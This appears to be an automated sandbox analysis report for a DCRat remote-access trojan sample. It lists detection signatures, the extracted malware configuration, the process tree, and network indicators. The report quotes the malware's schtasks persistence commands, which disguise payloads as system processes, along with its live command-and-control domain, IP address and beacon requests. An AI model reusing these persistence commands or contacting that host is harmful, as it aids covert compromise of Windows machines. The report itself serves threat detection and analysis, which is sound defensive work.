Edit tour

Windows Analysis Report
5P9EdUgv5r.exe

Overview

General Information

Sample name:	5P9EdUgv5r.exe renamed because original name is a hash value
Original sample name:	1F70E167B93D471AF9DAF333145DB4CD.exe
Analysis ID:	1502154
MD5:	1f70e167b93d471af9daf333145db4cd
SHA1:	b7c1afc111a98055b28c94f62599ff33f41ced24
SHA256:	9fbc9f10ad8bc902a7a847d76b9792ac9f995555e856824f96fd04b7290b5aed
Tags:	DCRatexe
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

Yara detected DCRat

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Creates processes via WMI

Disable UAC(promptonsecuredesktop)

Disables UAC (registry)

Drops executables to the windows directory (C:\Windows) and starts them

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Files With System Process Name In Unsuspected Locations

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

5P9EdUgv5r.exe (PID: 1376 cmdline: "C:\Users\user\Desktop\5P9EdUgv5r.exe" MD5: 1F70E167B93D471AF9DAF333145DB4CD)

wscript.exe (PID: 4588 cmdline: "C:\Windows\System32\WScript.exe" "C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 5312 cmdline: C:\Windows\system32\cmd.exe /c ""C:\serversessionmonitor\ovpXJB1x2XJwVqS.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

blockfont.exe (PID: 7076 cmdline: "C:\serversessionmonitor\blockfont.exe" MD5: 960DC58A366579A52C966ACC596733B6)

schtasks.exe (PID: 6888 cmdline: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7180 cmdline: schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7208 cmdline: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7336 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 9 /tr "'C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7364 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7384 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 14 /tr "'C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7404 cmdline: schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7420 cmdline: schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7456 cmdline: schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7484 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7500 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7532 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7572 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7600 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7628 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7652 cmdline: schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 6 /tr "'C:\Recovery\SearchApp.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7668 cmdline: schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Recovery\SearchApp.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7684 cmdline: schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 8 /tr "'C:\Recovery\SearchApp.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7720 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\windows mail\qwhJcOiWbbUoQMvwnJNr.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7740 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files (x86)\windows mail\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7760 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\windows mail\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7788 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\microsoft office\Office16\qwhJcOiWbbUoQMvwnJNr.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7808 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft office\Office16\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7824 cmdline: schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\microsoft office\Office16\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

qwhJcOiWbbUoQMvwnJNr.exe (PID: 7900 cmdline: "C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe" MD5: 960DC58A366579A52C966ACC596733B6)

qwhJcOiWbbUoQMvwnJNr.exe (PID: 7508 cmdline: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe MD5: 960DC58A366579A52C966ACC596733B6)

qwhJcOiWbbUoQMvwnJNr.exe (PID: 7552 cmdline: "C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe" MD5: 960DC58A366579A52C966ACC596733B6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: DCRat

{"SCRT": "{\"0\":\">\",\"L\":\"~\",\"y\":\"^\",\"o\":\"&\",\"h\":\"*\",\"c\":\"`\",\"A\":\"|\",\"i\":\")\",\"n\":\",\",\"9\":\"_\",\"1\":\"-\",\"I\":\";\",\"J\":\"!\",\"j\":\"%\",\"d\":\".\",\"e\":\"@\",\"C\":\"$\",\"M\":\"#\",\"W\":\" \",\"z\":\"<\",\"N\":\"(\"}", "PCRT": "{\"5\":\"$\",\"Z\":\"&\",\"D\":\"|\",\"a\":\";\",\"U\":\" \",\"E\":\">\",\"R\":\"-\",\"F\":\",\",\"t\":\"~\",\"Q\":\"@\",\"i\":\"%\",\"T\":\"#\",\"Y\":\"^\",\"d\":\"<\",\"4\":\"_\",\"h\":\")\",\"l\":\"!\",\"k\":\"`\",\"J\":\".\",\"X\":\"(\",\"B\":\"*\"}", "TAG": "", "MUTEX": "DCR_MUTEX-7082klfQ9GyGfgjPd35M", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 1, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.1784999674.0000000003657000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000004.00000002.1784999674.000000000365B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000016.00000002.1870704533.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000014.00000002.1870320993.0000000002E11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000016.00000002.1870704533.000000000302C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000025.00000002.1825230562.0000000003101000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000014.00000002.1870320993.0000000002E4D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000004.00000002.1784999674.00000000032B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000004.00000002.1790371382.00000000132BF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: blockfont.exe PID: 7076	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7508	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7552	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: qwhJcOiWbbUoQMvwnJNr.exe PID: 7900	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\serversessionmonitor\blockfont.exe, ProcessId: 7076, TargetFilename: C:\Program Files (x86)\windows portable devices\winlogon.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\5P9EdUgv5r.exe", ParentImage: C:\Users\user\Desktop\5P9EdUgv5r.exe, ParentProcessId: 1376, ParentProcessName: 5P9EdUgv5r.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe" , ProcessId: 4588, ProcessName: wscript.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /f, CommandLine: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\serversessionmonitor\blockfont.exe" , ParentImage: C:\serversessionmonitor\blockfont.exe, ParentProcessId: 7076, ParentProcessName: blockfont.exe, ProcessCommandLine: schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /f, ProcessId: 6888, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE DCRAT Activity (GET) - Source IP: 192.168.2.4 - Destination IP: 141.8.194.149

Timestamp:	2024-08-31T09:22:11.861438+0200
SID:	2034194
Severity:	1
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 5P9EdUgv5r.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://a1023624.xsph.ru	Avira URL Cloud: Label: malware
Source: http://a1023624.xsph.ru/	Avira URL Cloud: Label: malware
Source: http://a1023624.xsph.ru/1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs	Avira URL Cloud: Label: malware
Source: http://a1023624.xsph.ru/1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec8	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\serversessionmonitor\blockfont.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files (x86)\Windows Portable Devices\winlogon.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Recovery\SearchApp.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984

Found malware configuration

Source: 00000004.00000002.1790371382.00000000132BF000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"SCRT": "{\"0\":\">\",\"L\":\"~\",\"y\":\"^\",\"o\":\"&\",\"h\":\"*\",\"c\":\"`\",\"A\":\"|\",\"i\":\")\",\"n\":\",\",\"9\":\"_\",\"1\":\"-\",\"I\":\";\",\"J\":\"!\",\"j\":\"%\",\"d\":\".\",\"e\":\"@\",\"C\":\"$\",\"M\":\"#\",\"W\":\" \",\"z\":\"<\",\"N\":\"(\"}", "PCRT": "{\"5\":\"$\",\"Z\":\"&\",\"D\":\"|\",\"a\":\";\",\"U\":\" \",\"E\":\">\",\"R\":\"-\",\"F\":\",\",\"t\":\"~\",\"Q\":\"@\",\"i\":\"%\",\"T\":\"#\",\"Y\":\"^\",\"d\":\"<\",\"4\":\"_\",\"h\":\")\",\"l\":\"!\",\"k\":\"`\",\"J\":\".\",\"X\":\"(\",\"B\":\"*\"}", "TAG": "", "MUTEX": "DCR_MUTEX-7082klfQ9GyGfgjPd35M", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 1, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}

Multi AV Scanner detection for domain / URL

Source: a1023624.xsph.ru	Virustotal: Detection: 5%	Perma Link
Source: http://a1023624.xsph.ru	Virustotal: Detection: 5%	Perma Link
Source: http://a1023624.xsph.ru/	Virustotal: Detection: 5%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	Virustotal: Detection: 68%	Perma Link
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe	Virustotal: Detection: 68%	Perma Link
Source: C:\Program Files (x86)\Windows Mail\qwhJcOiWbbUoQMvwnJNr.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Windows Mail\qwhJcOiWbbUoQMvwnJNr.exe	Virustotal: Detection: 68%	Perma Link
Source: C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe	Virustotal: Detection: 68%	Perma Link
Source: C:\Program Files (x86)\Windows Portable Devices\winlogon.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files (x86)\Windows Portable Devices\winlogon.exe	Virustotal: Detection: 68%	Perma Link
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	ReversingLabs: Detection: 87%
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe	Virustotal: Detection: 68%	Perma Link
Source: C:\Recovery\SearchApp.exe	ReversingLabs: Detection: 87%
Source: C:\Recovery\SearchApp.exe	Virustotal: Detection: 68%	Perma Link
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	ReversingLabs: Detection: 87%
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe	Virustotal: Detection: 68%	Perma Link
Source: C:\serversessionmonitor\blockfont.exe	ReversingLabs: Detection: 87%
Source: C:\serversessionmonitor\blockfont.exe	Virustotal: Detection: 68%	Perma Link

Multi AV Scanner detection for submitted file

Source: 5P9EdUgv5r.exe	ReversingLabs: Detection: 71%
Source: 5P9EdUgv5r.exe	Virustotal: Detection: 61%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\serversessionmonitor\blockfont.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows Media Player\en-US\backgroundTaskHost.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Windows Portable Devices\winlogon.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	Joe Sandbox ML: detected
Source: C:\Recovery\SearchApp.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft Office\Office16\qwhJcOiWbbUoQMvwnJNr.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 5P9EdUgv5r.exe

Joe Sandbox ML: detected

Source: 5P9EdUgv5r.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\serversessionmonitor\blockfont.exe	Directory created: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe			Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe	Directory created: C:\Program Files\Windows Portable Devices\8057c8f30c1a8e			Jump to behavior

Source: 5P9EdUgv5r.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 5P9EdUgv5r.exe

Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D6A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		0_2_00D6A5F4
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe	Code function: 0_2_00D7B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		0_2_00D7B8E0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:49734 -> 141.8.194.149:80

Source: Joe Sandbox View

IP Address: 141.8.194.149 141.8.194.149

Source: Joe Sandbox View

ASN Name: SPRINTHOSTRU SPRINTHOSTRU

Source: global traffic	HTTP traffic detected: GET /1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: a1023624.xsph.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: a1023624.xsph.ru

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: a1023624.xsph.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1ffc0666.php?D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs&494c04091cad695e488cec836843e29b=14eed2ab8e75c30d5e3051e42b208839&97fa7d33edb300ced93fc3fe0e6b5970=gMxYzM1kzY5YmY1QWNzQTZhJjNjhTZ0QDZ2ITY3MTZjJWMmNWO5YmN&D6sO3=coW9eQnQdwC&8Qdw2X=mrLKL&03ZD=Zcs HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: a1023624.xsph.ru

Source: global traffic

DNS traffic detected: DNS query: a1023624.xsph.ru

